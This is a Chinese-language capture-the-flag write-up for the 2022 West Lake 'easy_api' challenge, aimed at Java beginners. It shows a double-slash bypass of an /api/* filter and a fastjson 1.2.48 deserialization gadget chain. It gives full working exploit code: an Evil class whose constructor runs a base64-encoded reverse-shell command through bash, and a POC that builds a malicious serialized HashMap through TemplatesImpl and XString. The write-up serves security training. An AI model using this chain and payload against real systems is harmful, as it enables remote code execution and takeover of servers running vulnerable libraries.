从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)
信息收集
具体探查漏洞的方法这个师傅的帖子已经讲的很明白了,https://www.cnblogs.com/EddieMurphy-blogs/p/18175079
,这里我主要以面向小白的视角看这道题的解题思路
一、绕过filter
这里ApiController.java把反序列化入口写的很明白了
roller
public class ApiController {
@RequestMapping(
value = {"/api/test"},
method = {RequestMethod.GET}
)
public String test(Data data, ModelMap map) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data.getData()); //传入的应该是base64
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject(); //触发反序列化漏洞
ois.close();
return "api";
}
}
所以我们请求的内容应该是/api/test?data=xxx
但是实际这样请求的时候会出现forbidden
,我们在LoginFilter里发现原因
public class loginFilter implements Filter {
public void init(FilterConfig arg0) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
HttpServletResponse response = (HttpServletResponse)servletResponse;
response.setStatus(403);
response.getWriter().write("forbidden");
}
public void destroy() {
}
}
web.xml
<filter-mapping>
<filter-name>loginfilter</filter-name>
<url-pattern>/api/*</url-pattern>
</filter-mapping>
这段代码和配置组合起来表示一个 强制拦截所有 /api/* 请求 的过滤器,直接返回 HTTP 403(禁止访问) 并输出 “forbidden”。因此我们可以用//api/test绕过从而匹配不到/api
二、反序列化
接下来由于看起来项目本身不存在反序列化漏洞,我们就要从lib里面挑依赖项的已知反序列化链来用了,我上方推荐的帖子是用改过的fastjson1.2.48链来做的,我们剖析一下改动的逻辑是什么
先看看网上找到的fastjson1.2.48反序列化漏洞原理的讲解:https://blog.csdn.net/uuzeray/article/details/136927719
,他给的链条是BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter,但这个web项目没有BadAttributeValueExpException对应的依赖,所以得用xstring的tostring方法代替(虽然我也不知道哪里导入了xstring类,可能是内置类,欢迎懂的师傅解答一下),templates.getproperties的功能是加载一个恶意类的字节码,所以我们需要新建一个maven项目,一个文件是POC,另一个文件时恶意类Evil
下面来分析一下师傅写的代码
Evil.java不多做分析,大概就是统一那么写的
package com.eddiemurphy;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public Evil() {
super();
try {
Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
}catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
POC.java:
链条:
ois.readObject()(前端入口)->hashmap->readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties->恶意evil类
代码:
package com.eddiemurphy;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
public class Exp {
//递归查找类及其父类的字段(包括私有字段),并设置为可访问。
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
//类不能直接修改属性,因此通过反射修改对象的字段值
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//恶意 TemplatesImpl 对象,被templates.getproperties引用
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_class", null);
//包装 TemplatesImpl 到 JSONObject,templates.getOutputProperties()可以调用的类型
JSONObject jsonObject = new JSONObject();
jsonObject.put("jb", templates);
//恶意的 HashMap,也是我们payload实际反序列化的类的入口,反序列化的时候会触发其中的readobject类,注入我构造的节点,触发tostring方法
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
//反序列化生成payload的通用方式
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(s); //s是hashmap类,上方构造的
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
之后就是传统的反弹shell了,我复现是没问题的,如果有遇到什么问题的师傅我可以帮忙看看。